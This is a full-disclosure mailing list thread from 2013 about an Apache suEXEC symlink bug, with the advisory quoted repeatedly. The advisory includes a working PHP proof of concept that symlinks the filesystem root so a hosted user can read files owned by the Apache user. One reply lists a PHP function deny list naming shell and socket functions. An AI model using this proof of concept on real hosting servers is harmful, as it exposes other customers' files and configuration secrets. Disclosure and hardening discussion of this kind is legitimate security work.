Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
On Mon, Aug 12, 2013 at 1:28 PM, Coderaptor wrote: > I have been a silent spectator to this drama, and could not resist adding a > few thoughts of my own: > > 1. All software, especially webservers, should ship with secure defaults. > Period. It is a fundamental mistake to assume all admins who roll out web > apps and maintain servers RTFM before rolling out. The key idea here is "time > to market", and there is huge amount of data to prove this. > +1. All software should be shipped "secure out of the box". Its amazing so many folks keep making the same mistakes from the 1980s and 1990s. > ... > Huge amount of software today is turd polishing, open source no exception > (though it is supposed to have better track record). The blame lies squarely > on everyone. > The "more eyes the better" theory is hogwash. I cringe when I hear anyone discussing the security of crowd sourcing. There's two problems with their arguments: first is Cognitive Biases, and second is the Bystander Effect. The biases are being demonstrated by NB and RH, and its results are typical (no offense NB and RH). The Bystander Effect ensures that the more people see a bug, the less likely they are going to do anything about it because they believe someone else has already done something. They are well known problems in Security Engineering. See Peter Gutmann's Engineering Security (www.cs.auckland.ac.nz/~pgut001/pubs/book.pdf) or Ross Anderson's Security Engineering (http://www.cl.cam.ac.uk/~rja14/book.html). Jeff > On Aug 11, 2013, at 3:30 PM, Reindl Harald wrote: > >> Am 11.08.2013 23:56, schrieb Stefan Kanthak: >>> "Reindl Harald" wrote: again: symlinks are to not poision always and everywhere they become where untrusted customer code is running blame the admin which doe snot know his job and not the language offering a lot of functions where some can be misused >>> >>> Again: symlinks are well-known as attack vector for years! >> >> and that's why any admin which is not clueless >> disables the symlink function - but there exists >> code which *is* secure, runs in a crontrolled >> environment and make use of it for good reasons >> >>> It's not the user/administrator who develops or ships insecure code! >> >> but it's the administrator which has the wrong job if >> create symlinks is possible from any random script >> running on his servers >> >> anyways, i am done with this thread >> >> the topic is *not* "Apache suEXEC privilege elevation" it >> is "admins not secure their servers" - period >> >> ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
> for doing this features in httpd.conf you can use AllowOverride None instead > of AllowOverride all AllowSymlinks is a red herring here (hardlinks should do, unless you have stuff partitioned in a very thoughtful way, which most don't), similarly to suexec. In general, sharing web hosting providers that allow shell access or scripting are pretty much boned in a myriad of ways. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
Am 10.08.2013 12:10, schrieb Gichuki John Chuksjonia: > One thing u gotta remember most of the Admins who handle webservers in > a network are also developers since most of the organizations will > always need to cut on expenses, and as we know, most of the developers > will just look into finishing work and making it work. So if something > doesn't run due to httpd.conf, you will find these guys loosening > server security, therefore opening holes to the infrastructure. i am one of the developers who are admin why? because maintaining servers where only internal developed software gives you the power to make security as tighten as possible - and yes security is *always* first not the admins which are developers are the problem crap like wordpress, joomla, phpBB is the problem because these developers have no idea how to secure maintain a server and try to develop software which can be installed by any random fool on whatever webserver without understand the implications thats's why these applications are *strictly* forbidden on any machine i am responsible for, it's enough to write abuse mails each time one of these installations outside got hacked and is starting attacks on 3rd parties signature.asc Description: OpenPGP digital signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
On Sat, Aug 10, 2013 at 6:10 AM, Gichuki John Chuksjonia wrote: > One thing u gotta remember most of the Admins who handle webservers in > a network are also developers since most of the organizations will > always need to cut on expenses, and as we know, most of the developers > will just look into finishing work and making it work. So if something > doesn't run due to httpd.conf, you will find these guys loosening > server security, therefore opening holes to the infrastructure. Cognitive Bias and Dissonance are well known problems in security engineering. NB's comments are a testament to the disconnect between the creators of the system and the users of the system. (No offense to NB). See, for example, Peter Gutmann's Engineering Security (www.cs.auckland.ac.nz/~pgut001/pubs/book.pdf) or Ross Anderson's Security Engineering (http://www.cl.cam.ac.uk/~rja14/book.html). Jeff ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
One thing u gotta remember most of the Admins who handle webservers in
a network are also developers since most of the organizations will
always need to cut on expenses, and as we know, most of the developers
will just look into finishing work and making it work. So if something
doesn't run due to httpd.conf, you will find these guys loosening
server security, therefore opening holes to the infrastructure.
Just my two cents
./Chucks
On 8/10/13, Kingcope wrote:
> Uhh Hit em with a little Ghetto Gospel
>
> So am i less holy Because i Puff a blunt and Drink a Beer with my homies?
>
> Theres no Need for you to fear me if you Take your Time and Hear me Maybe
> you can learn to cheer me.
> It aint about Black and white cause we Human !!!
> Lord can you Hear me speaaak!!
> http://rapgenius.com/2pac-ghetto-gospel-lyrics
>
> Am 09.08.2013 um 16:33 schrieb Kingcope
> :
>
>> So the blackhat that Sits on ur Site and the site of ur company Since half
>> a year will stop at the point Where its "technically incorrect" and wont
>> escalate to root because "it doesnt have to do Anything with suexec". Its
>> an Old vuln so let it stay , better for us and soon our Data on your
>> boxes.
>>
>> Time to Write a Real Root exploit and dont waste the Time with sysadmins
>> that know how to set a flag in httpd.conf , apache devs included.
>>
>> Am 09.08.2013 um 14:29 schrieb Kingcope
>> :
>>
>>> So what your Emails Tell me is better ignore this vulnerability. I dont
>>> Claim its a High severity Bug but if you Tell People to ignore it Because
>>> it isnt a vulnerability you are very much aiding the Chaos of insecurity
>>> in the Internet today. You Maybe have a Secure Setting but theres only
>>> you on the Planet. Attackers Look specifically for such Bugs to Open
>>> Servers. No Wonder we have compromises in a High Scale every Day due to
>>> this ignorance. My rant on that One.
>>>
>>> Am 07.08.2013 um 21:49 schrieb king cope
>>> :
>>>
Apache suEXEC privilege elevation / information disclosure
Discovered by Kingcope/Aug 2013
The suEXEC feature provides Apache users the ability to run CGI and SSI
programs
under user IDs different from the user ID of the calling web server.
Normally,
when a CGI or SSI program executes, it runs as the same user who is
running the
web server.
Used properly, this feature can reduce considerably the security risks
involved
with allowing users to develop and run private CGI or SSI programs.
With this bug an attacker who is able to run php or cgi code inside a
web
hosting environment and the environment is configured to use suEXEC as
a
protection mechanism, he/she is able to read any file and directory on
the file-
system of the UNIX/Linux system with the user and group id of the
apache web server.
Normally php and cgi scripts are not allowed to read files with the
apache user-
id inside a suEXEC configured environment.
Take for example this apache owned file and the php script that
follows.
$ ls -la /etc/testapache
-rw--- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
only user www-data should be able to read this file.
$ cat test.php
>>> system("id; cat /etc/testapache");
?>
When calling the php file using a webbrowser it will show...
uid=1002(example) gid=1002(example) groups=1002(example)
because the php script is run trough suEXEC.
The script will not output the file requested because of a permissions
error.
Now if we create a .htaccess file with the content...
Options Indexes FollowSymLinks
and a php script with the content...
>>> system("ln -sf / test99.php");
symlink("/", "test99.php"); // try builtin function in case when
//system() is blocked
?>
in the same folder
..we can access the root filesystem with the apache uid,gid by
requesting test99.php.
The above php script will simply create a symbolic link to '/'.
A request to test99.php/etc/testapache done with a web browser shows..
voila! read with the apache uid/gid
The reason we can now read out any files and traverse directories owned
by the
apache user is because apache httpd displays symlinks and directory
listings
without querying suEXEC.
It is not possible to write to files in this case.
Version notes. Assumed is that all Apache versions are affected by this
bug.
apache2 -V
Server version: Apache/2.2.22 (Debian)
Server built: Mar 4 2013 21:32:32
Server's Module Magic Number: 20051115:30
Server loaded: APR 1.4.6, APR-Util 1.4.1
Compiled using: APR 1.4.6, APR-Util 1.4.1
Architecture: 32-bit
Server MPM: Worker
threaded: yes (fixed thread count)
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
Uhh Hit em with a little Ghetto Gospel
So am i less holy Because i Puff a blunt and Drink a Beer with my homies?
Theres no Need for you to fear me if you Take your Time and Hear me Maybe you
can learn to cheer me.
It aint about Black and white cause we Human !!!
Lord can you Hear me speaaak!!
http://rapgenius.com/2pac-ghetto-gospel-lyrics
Am 09.08.2013 um 16:33 schrieb Kingcope
:
> So the blackhat that Sits on ur Site and the site of ur company Since half a
> year will stop at the point Where its "technically incorrect" and wont
> escalate to root because "it doesnt have to do Anything with suexec". Its an
> Old vuln so let it stay , better for us and soon our Data on your boxes.
>
> Time to Write a Real Root exploit and dont waste the Time with sysadmins that
> know how to set a flag in httpd.conf , apache devs included.
>
> Am 09.08.2013 um 14:29 schrieb Kingcope
> :
>
>> So what your Emails Tell me is better ignore this vulnerability. I dont
>> Claim its a High severity Bug but if you Tell People to ignore it Because it
>> isnt a vulnerability you are very much aiding the Chaos of insecurity in the
>> Internet today. You Maybe have a Secure Setting but theres only you on the
>> Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder
>> we have compromises in a High Scale every Day due to this ignorance. My rant
>> on that One.
>>
>> Am 07.08.2013 um 21:49 schrieb king cope
>> :
>>
>>> Apache suEXEC privilege elevation / information disclosure
>>>
>>> Discovered by Kingcope/Aug 2013
>>>
>>> The suEXEC feature provides Apache users the ability to run CGI and SSI
>>> programs
>>> under user IDs different from the user ID of the calling web server.
>>> Normally,
>>> when a CGI or SSI program executes, it runs as the same user who is running
>>> the
>>> web server.
>>> Used properly, this feature can reduce considerably the security risks
>>> involved
>>> with allowing users to develop and run private CGI or SSI programs.
>>>
>>> With this bug an attacker who is able to run php or cgi code inside a web
>>> hosting environment and the environment is configured to use suEXEC as a
>>> protection mechanism, he/she is able to read any file and directory on the
>>> file-
>>> system of the UNIX/Linux system with the user and group id of the
>>> apache web server.
>>>
>>> Normally php and cgi scripts are not allowed to read files with the apache
>>> user-
>>> id inside a suEXEC configured environment.
>>>
>>> Take for example this apache owned file and the php script that follows.
>>>
>>> $ ls -la /etc/testapache
>>> -rw--- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
>>> only user www-data should be able to read this file.
>>>
>>> $ cat test.php
>>> >> system("id; cat /etc/testapache");
>>> ?>
>>>
>>> When calling the php file using a webbrowser it will show...
>>> uid=1002(example) gid=1002(example) groups=1002(example)
>>>
>>> because the php script is run trough suEXEC.
>>> The script will not output the file requested because of a permissions
>>> error.
>>>
>>> Now if we create a .htaccess file with the content...
>>> Options Indexes FollowSymLinks
>>>
>>> and a php script with the content...
>>>
>>> >> system("ln -sf / test99.php");
>>> symlink("/", "test99.php"); // try builtin function in case when
>>> //system() is blocked
>>> ?>
>>> in the same folder
>>>
>>> ..we can access the root filesystem with the apache uid,gid by
>>> requesting test99.php.
>>> The above php script will simply create a symbolic link to '/'.
>>>
>>> A request to test99.php/etc/testapache done with a web browser shows..
>>> voila! read with the apache uid/gid
>>>
>>> The reason we can now read out any files and traverse directories owned by
>>> the
>>> apache user is because apache httpd displays symlinks and directory listings
>>> without querying suEXEC.
>>> It is not possible to write to files in this case.
>>>
>>> Version notes. Assumed is that all Apache versions are affected by this bug.
>>>
>>> apache2 -V
>>> Server version: Apache/2.2.22 (Debian)
>>> Server built: Mar 4 2013 21:32:32
>>> Server's Module Magic Number: 20051115:30
>>> Server loaded: APR 1.4.6, APR-Util 1.4.1
>>> Compiled using: APR 1.4.6, APR-Util 1.4.1
>>> Architecture: 32-bit
>>> Server MPM: Worker
>>> threaded: yes (fixed thread count)
>>> forked: yes (variable process count)
>>> Server compiled with
>>> -D APACHE_MPM_DIR="server/mpm/worker"
>>> -D APR_HAS_SENDFILE
>>> -D APR_HAS_MMAP
>>> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
>>> -D APR_USE_SYSVSEM_SERIALIZE
>>> -D APR_USE_PTHREAD_SERIALIZE
>>> -D APR_HAS_OTHER_CHILD
>>> -D AP_HAVE_RELIABLE_PIPED_LOGS
>>> -D DYNAMIC_MODULE_LIMIT=128
>>> -D HTTPD_ROOT="/etc/apache2"
>>> -D SUEXEC_BIN="/usr/lib/apache2/suexec"
>>> -D DEFAULT_PIDLOG="/var/run/apache2.pid"
>>> -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
>>> -D DEFAULT_ERRORLOG="logs/error_log"
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
Uhh Hit em with a little Ghetto Gospel
So am i less holy Because i Puff a blunt and Drink a Beer with my homies?
Theres no Need for you to fear me if you Take your Time and Hear me Maybe you
can learn to cheer me.
It aint about Black and white cause we Human !!!
Lord can you Hear me speaaak!!
http://rapgenius.com/2pac-ghetto-gospel-lyrics
Am 09.08.2013 um 16:33 schrieb Kingcope
:
> So the blackhat that Sits on ur Site and the site of ur company Since half a
> year will stop at the point Where its "technically incorrect" and wont
> escalate to root because "it doesnt have to do Anything with suexec". Its an
> Old vuln so let it stay , better for us and soon our Data on your boxes.
>
> Time to Write a Real Root exploit and dont waste the Time with sysadmins that
> know how to set a flag in httpd.conf , apache devs included.
>
> Am 09.08.2013 um 14:29 schrieb Kingcope
> :
>
>> So what your Emails Tell me is better ignore this vulnerability. I dont
>> Claim its a High severity Bug but if you Tell People to ignore it Because it
>> isnt a vulnerability you are very much aiding the Chaos of insecurity in the
>> Internet today. You Maybe have a Secure Setting but theres only you on the
>> Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder
>> we have compromises in a High Scale every Day due to this ignorance. My rant
>> on that One.
>>
>> Am 07.08.2013 um 21:49 schrieb king cope
>> :
>>
>>> Apache suEXEC privilege elevation / information disclosure
>>>
>>> Discovered by Kingcope/Aug 2013
>>>
>>> The suEXEC feature provides Apache users the ability to run CGI and SSI
>>> programs
>>> under user IDs different from the user ID of the calling web server.
>>> Normally,
>>> when a CGI or SSI program executes, it runs as the same user who is running
>>> the
>>> web server.
>>> Used properly, this feature can reduce considerably the security risks
>>> involved
>>> with allowing users to develop and run private CGI or SSI programs.
>>>
>>> With this bug an attacker who is able to run php or cgi code inside a web
>>> hosting environment and the environment is configured to use suEXEC as a
>>> protection mechanism, he/she is able to read any file and directory on the
>>> file-
>>> system of the UNIX/Linux system with the user and group id of the
>>> apache web server.
>>>
>>> Normally php and cgi scripts are not allowed to read files with the apache
>>> user-
>>> id inside a suEXEC configured environment.
>>>
>>> Take for example this apache owned file and the php script that follows.
>>>
>>> $ ls -la /etc/testapache
>>> -rw--- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
>>> only user www-data should be able to read this file.
>>>
>>> $ cat test.php
>>> >> system("id; cat /etc/testapache");
>>> ?>
>>>
>>> When calling the php file using a webbrowser it will show...
>>> uid=1002(example) gid=1002(example) groups=1002(example)
>>>
>>> because the php script is run trough suEXEC.
>>> The script will not output the file requested because of a permissions
>>> error.
>>>
>>> Now if we create a .htaccess file with the content...
>>> Options Indexes FollowSymLinks
>>>
>>> and a php script with the content...
>>>
>>> >> system("ln -sf / test99.php");
>>> symlink("/", "test99.php"); // try builtin function in case when
>>> //system() is blocked
>>> ?>
>>> in the same folder
>>>
>>> ..we can access the root filesystem with the apache uid,gid by
>>> requesting test99.php.
>>> The above php script will simply create a symbolic link to '/'.
>>>
>>> A request to test99.php/etc/testapache done with a web browser shows..
>>> voila! read with the apache uid/gid
>>>
>>> The reason we can now read out any files and traverse directories owned by
>>> the
>>> apache user is because apache httpd displays symlinks and directory listings
>>> without querying suEXEC.
>>> It is not possible to write to files in this case.
>>>
>>> Version notes. Assumed is that all Apache versions are affected by this bug.
>>>
>>> apache2 -V
>>> Server version: Apache/2.2.22 (Debian)
>>> Server built: Mar 4 2013 21:32:32
>>> Server's Module Magic Number: 20051115:30
>>> Server loaded: APR 1.4.6, APR-Util 1.4.1
>>> Compiled using: APR 1.4.6, APR-Util 1.4.1
>>> Architecture: 32-bit
>>> Server MPM: Worker
>>> threaded: yes (fixed thread count)
>>> forked: yes (variable process count)
>>> Server compiled with
>>> -D APACHE_MPM_DIR="server/mpm/worker"
>>> -D APR_HAS_SENDFILE
>>> -D APR_HAS_MMAP
>>> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
>>> -D APR_USE_SYSVSEM_SERIALIZE
>>> -D APR_USE_PTHREAD_SERIALIZE
>>> -D APR_HAS_OTHER_CHILD
>>> -D AP_HAVE_RELIABLE_PIPED_LOGS
>>> -D DYNAMIC_MODULE_LIMIT=128
>>> -D HTTPD_ROOT="/etc/apache2"
>>> -D SUEXEC_BIN="/usr/lib/apache2/suexec"
>>> -D DEFAULT_PIDLOG="/var/run/apache2.pid"
>>> -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
>>> -D DEFAULT_ERRORLOG="logs/error_log"
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
On Fri, 2013-08-09 at 06:21 -0500, R. Whitney wrote: > I would concern myself more with the web hosting providers which > utilize suExec. By escalating privileges even to just the level of the > HTTPD would allow one to read/write to content outside of their web > hosting account. > I have personally been in situations where I have had to advise sys > admins that suExec was properly setup & my web hosting account was > capable of (in worst case scenario) shutting down the HTTPD itself, > and in other situations capable of reading things like wordpress > config files from other hosting accounts. > Then httpd was clearly not configured by someone who knew what they were doing - and majorly broke it somehow > Good work as always Kingcope. :) > oh dear .. I knew there was a reason why I rarely read this list unless something is off-list brought to my attention. signature.asc Description: This is a digitally signed message part ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
I know that Kingcope does nice jobs, I follow you some times ago and I
found that your exploits are simply awesome.
hope that you continue in that way =)
Regards,
On Fri, Aug 9, 2013 at 12:21 PM, R. Whitney wrote:
> I would concern myself more with the web hosting providers which utilize
> suExec. By escalating privileges even to just the level of the HTTPD would
> allow one to read/write to content outside of their web hosting account.
> I have personally been in situations where I have had to advise sys admins
> that suExec was properly setup & my web hosting account was capable of (in
> worst case scenario) shutting down the HTTPD itself, and in other
> situations capable of reading things like wordpress config files from other
> hosting accounts.
>
> Good work as always Kingcope. :)
>
>
> On 08/09/13 04:33, Kingcope wrote:
>
> So the blackhat that Sits on ur Site and the site of ur company Since half a
> year will stop at the point Where its "technically incorrect" and wont
> escalate to root because "it doesnt have to do Anything with suexec". Its an
> Old vuln so let it stay , better for us and soon our Data on your boxes.
>
> Time to Write a Real Root exploit and dont waste the Time with sysadmins that
> know how to set a flag in httpd.conf , apache devs included.
>
> Am 09.08.2013 um 14:29 schrieb Kingcope
>
> :
>
>
> So what your Emails Tell me is better ignore this vulnerability. I dont
> Claim its a High severity Bug but if you Tell People to ignore it Because it
> isnt a vulnerability you are very much aiding the Chaos of insecurity in the
> Internet today. You Maybe have a Secure Setting but theres only you on the
> Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder
> we have compromises in a High Scale every Day due to this ignorance. My rant
> on that One.
>
> Am 07.08.2013 um 21:49 schrieb king cope
>
> :
>
>
> Apache suEXEC privilege elevation / information disclosure
>
> Discovered by Kingcope/Aug 2013
>
> The suEXEC feature provides Apache users the ability to run CGI and SSI
> programs
> under user IDs different from the user ID of the calling web server. Normally,
> when a CGI or SSI program executes, it runs as the same user who is running
> the
> web server.
> Used properly, this feature can reduce considerably the security risks
> involved
> with allowing users to develop and run private CGI or SSI programs.
>
> With this bug an attacker who is able to run php or cgi code inside a web
> hosting environment and the environment is configured to use suEXEC as a
> protection mechanism, he/she is able to read any file and directory on the
> file-
> system of the UNIX/Linux system with the user and group id of the
> apache web server.
>
> Normally php and cgi scripts are not allowed to read files with the apache
> user-
> id inside a suEXEC configured environment.
>
> Take for example this apache owned file and the php script that follows.
>
> $ ls -la /etc/testapache
> -rw--- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
> only user www-data should be able to read this file.
>
> $ cat test.php
>system("id; cat /etc/testapache");
> ?>
>
> When calling the php file using a webbrowser it will show...
> uid=1002(example) gid=1002(example) groups=1002(example)
>
> because the php script is run trough suEXEC.
> The script will not output the file requested because of a permissions error.
>
> Now if we create a .htaccess file with the content...
> Options Indexes FollowSymLinks
>
> and a php script with the content...
>
>system("ln -sf / test99.php");
> symlink("/", "test99.php"); // try builtin function in case when
> //system() is blocked
> ?>
> in the same folder
>
> ..we can access the root filesystem with the apache uid,gid by
> requesting test99.php.
> The above php script will simply create a symbolic link to '/'.
>
> A request to test99.php/etc/testapache done with a web browser shows..
> voila! read with the apache uid/gid
>
> The reason we can now read out any files and traverse directories owned by the
> apache user is because apache httpd displays symlinks and directory listings
> without querying suEXEC.
> It is not possible to write to files in this case.
>
> Version notes. Assumed is that all Apache versions are affected by this bug.
>
> apache2 -V
> Server version: Apache/2.2.22 (Debian)
> Server built: Mar 4 2013 21:32:32
> Server's Module Magic Number: 20051115:30
> Server loaded: APR 1.4.6, APR-Util 1.4.1
> Compiled using: APR 1.4.6, APR-Util 1.4.1
> Architecture: 32-bit
> Server MPM: Worker
> threaded: yes (fixed thread count)
> forked: yes (variable process count)
> Server compiled with
> -D APACHE_MPM_DIR="server/mpm/worker"
> -D APR_HAS_SENDFILE
> -D APR_HAS_MMAP
> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
> -D APR_USE_SYSVSEM_SERIALIZE
> -D APR_USE_PTHREAD_SERIALIZE
> -D APR_HAS_OTHER_CHILD
> -D AP_HAVE_RELIABLE_PIPED_
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
Am 09.08.2013 09:29, schrieb Kingcope:
> So what your Emails Tell me is better ignore this vulnerability. I dont Claim
> its a High severity Bug but if you Tell People to ignore it Because it isnt a
> vulnerability you are very much aiding the Chaos of insecurity in the
> Internet today. You Maybe have a Secure Setting but theres only you on the
> Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder
> we have compromises in a High Scale every Day due to this ignorance. My rant
> on that One.
>> The above php script will simply create a symbolic link to '/'
>> A request to test99.php/etc/testapache done with a web browser shows..
>> voila! read with the apache uid/gid
if the script is possible to do so the admin did not his homework
on shared servers have symlink amd system-functions to be disabled
period
disable_functions = "exec, passthru, shell_exec, system, proc_open,
proc_close, proc_nice, proc_terminate,
proc_get_status, pcntl_exec, apache_child_terminate, posix_kill, posix_mkfifo,
posix_setpgid, posix_setsid,
posix_setuid, mail, symlink, link, dl, get_current_user, getmypid, getmyuid,
getrusage, pfsockopen, socket_accept,
socket_bind, openlog, syslog"
> Am 07.08.2013 um 21:49 schrieb king cope
> :
>
>> Apache suEXEC privilege elevation / information disclosure
>>
>> Discovered by Kingcope/Aug 2013
>>
>> The suEXEC feature provides Apache users the ability to run CGI and SSI
>> programs
>> under user IDs different from the user ID of the calling web server.
>> Normally,
>> when a CGI or SSI program executes, it runs as the same user who is running
>> the
>> web server.
>> Used properly, this feature can reduce considerably the security risks
>> involved
>> with allowing users to develop and run private CGI or SSI programs.
>>
>> With this bug an attacker who is able to run php or cgi code inside a web
>> hosting environment and the environment is configured to use suEXEC as a
>> protection mechanism, he/she is able to read any file and directory on the
>> file-
>> system of the UNIX/Linux system with the user and group id of the
>> apache web server.
>>
>> Normally php and cgi scripts are not allowed to read files with the apache
>> user-
>> id inside a suEXEC configured environment.
>>
>> Take for example this apache owned file and the php script that follows.
>>
>> $ ls -la /etc/testapache
>> -rw--- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
>> only user www-data should be able to read this file.
>>
>> $ cat test.php
>> >system("id; cat /etc/testapache");
>> ?>
>>
>> When calling the php file using a webbrowser it will show...
>> uid=1002(example) gid=1002(example) groups=1002(example)
>>
>> because the php script is run trough suEXEC.
>> The script will not output the file requested because of a permissions error.
>>
>> Now if we create a .htaccess file with the content...
>> Options Indexes FollowSymLinks
>>
>> and a php script with the content...
>>
>> >system("ln -sf / test99.php");
>>symlink("/", "test99.php"); // try builtin function in case when
>>//system() is blocked
>> ?>
>> in the same folder
>>
>> ..we can access the root filesystem with the apache uid,gid by
>> requesting test99.php.
>> The above php script will simply create a symbolic link to '/'.
>>
>> A request to test99.php/etc/testapache done with a web browser shows..
>> voila! read with the apache uid/gid
>>
>> The reason we can now read out any files and traverse directories owned by
>> the
>> apache user is because apache httpd displays symlinks and directory listings
>> without querying suEXEC.
>> It is not possible to write to files in this case.
>>
>> Version notes. Assumed is that all Apache versions are affected by this bug.
>>
>> apache2 -V
>> Server version: Apache/2.2.22 (Debian)
>> Server built: Mar 4 2013 21:32:32
>> Server's Module Magic Number: 20051115:30
>> Server loaded: APR 1.4.6, APR-Util 1.4.1
>> Compiled using: APR 1.4.6, APR-Util 1.4.1
>> Architecture: 32-bit
>> Server MPM: Worker
>> threaded: yes (fixed thread count)
>>forked: yes (variable process count)
>> Server compiled with
>> -D APACHE_MPM_DIR="server/mpm/worker"
>> -D APR_HAS_SENDFILE
>> -D APR_HAS_MMAP
>> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
>> -D APR_USE_SYSVSEM_SERIALIZE
>> -D APR_USE_PTHREAD_SERIALIZE
>> -D APR_HAS_OTHER_CHILD
>> -D AP_HAVE_RELIABLE_PIPED_LOGS
>> -D DYNAMIC_MODULE_LIMIT=128
>> -D HTTPD_ROOT="/etc/apache2"
>> -D SUEXEC_BIN="/usr/lib/apache2/suexec"
>> -D DEFAULT_PIDLOG="/var/run/apache2.pid"
>> -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
>> -D DEFAULT_ERRORLOG="logs/error_log"
>> -D AP_TYPES_CONFIG_FILE="mime.types"
>> -D SERVER_CONFIG_FILE="apache2.conf"
>>
>> Cheers,
>> /Kingcope
signature.asc
Description: OpenPGP digital signature
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclos
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
I would concern myself more with the web hosting providers which utilize suExec. By escalating privileges even to just the level of the HTTPD would allow one to read/write to content outside of their web hosting account. I have personally been in situations where I have had to advise sys admins that suExec was properly setup & my web hosting account was capable of (in worst case scenario) shutting down the HTTPD itself, and in other situations capable of reading things like wordpress config files from other hosting accounts. Good work as always Kingcope. :) On 08/09/13 04:33, Kingcope wrote: So the blackhat that Sits on ur Site and the site of ur company Since half a year will stop at the point Where its "technically incorrect" and wont escalate to root because "it doesnt have to do Anything with suexec". Its an Old vuln so let it stay , better for us and soon our Data on your boxes. Time to Write a Real Root exploit and dont waste the Time with sysadmins that know how to set a flag in httpd.conf , apache devs included. Am 09.08.2013 um 14:29 schrieb Kingcope : So what your Emails Tell me is better ignore this vulnerability. I dont Claim its a High severity Bug but if you Tell People to ignore it Because it isnt a vulnerability you are very much aiding the Chaos of insecurity in the Internet today. You Maybe have a Secure Setting but theres only you on the Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder we have compromises in a High Scale every Day due to this ignorance. My rant on that One. Am 07.08.2013 um 21:49 schrieb king cope : Apache suEXEC privilege elevation / information disclosure Discovered by Kingcope/Aug 2013 The suEXEC feature provides Apache users the ability to run CGI and SSI programs under user IDs different from the user ID of the calling web server. Normally, when a CGI or SSI program executes, it runs as the same user who is running the web server. Used properly, this feature can reduce considerably the security risks involved with allowing users to develop and run private CGI or SSI programs. With this bug an attacker who is able to run php or cgi code inside a web hosting environment and the environment is configured to use suEXEC as a protection mechanism, he/she is able to read any file and directory on the file- system of the UNIX/Linux system with the user and group id of the apache web server. Normally php and cgi scripts are not allowed to read files with the apache user- id inside a suEXEC configured environment. Take for example this apache owned file and the php script that follows. $ ls -la /etc/testapache -rw--- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache only user www-data should be able to read this file. $ cat test.php When calling the php file using a webbrowser it will show... uid=1002(example) gid=1002(example) groups=1002(example) because the php script is run trough suEXEC. The script will not output the file requested because of a permissions error. Now if we create a .htaccess file with the content... Options Indexes FollowSymLinks and a php script with the content... in the same folder ..we can access the root filesystem with the apache uid,gid by requesting test99.php. The above php script will simply create a symbolic link to '/'. A request to test99.php/etc/testapache done with a web browser shows.. voila! read with the apache uid/gid The reason we can now read out any files and traverse directories owned by the apache user is because apache httpd displays symlinks and directory listings without querying suEXEC. It is not possible to write to files in this case. Version notes. Assumed is that all Apache versions are affected by this bug. apache2 -V Server version: Apache/2.2.22 (Debian) Server built: Mar 4 2013 21:32:32 Server's Module Magic Number: 20051115:30 Server loaded: APR 1.4.6, APR-Util 1.4.1 Compiled using: APR 1.4.6, APR-Util 1.4.1 Architecture: 32-bit Server MPM: Worker threaded: yes (fixed thread count) forked: yes (variable process count) Server compiled with -D APACHE_MPM_DIR="server/mpm/worker" -D APR_HAS_SENDFILE -D APR_HAS_MMAP -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled) -D APR_USE_SYSVSEM_SERIALIZE -D APR_USE_PTHREAD_SERIALIZE -D APR_HAS_OTHER_CHILD -D AP_HAVE_RELIABLE_PIPED_LOGS -D DYNAMIC_MODULE_LIMIT=128 -D HTTPD_ROOT="/etc/apache2" -D SUEXEC_BIN="/usr/lib/apache2/suexec" -D DEFAULT_PIDLOG="/var/run/apache2.pid" -D DEFAULT_SCOREBOARD="logs/apache_runtime_status" -D DEFAULT_ERRORLOG="logs/error_log" -D AP_TYPES_CONFIG_FILE="mime.types" -D SERVER_CONFIG_FILE="apache2.conf" Cheers, /Kingcope ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- *R. Whitney* /- Independent IT Consultant/ *Phone:* (347)674-4835 *Postal:* PO Box 5984, Bloomington, IL 61702-5984 *Other:*
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
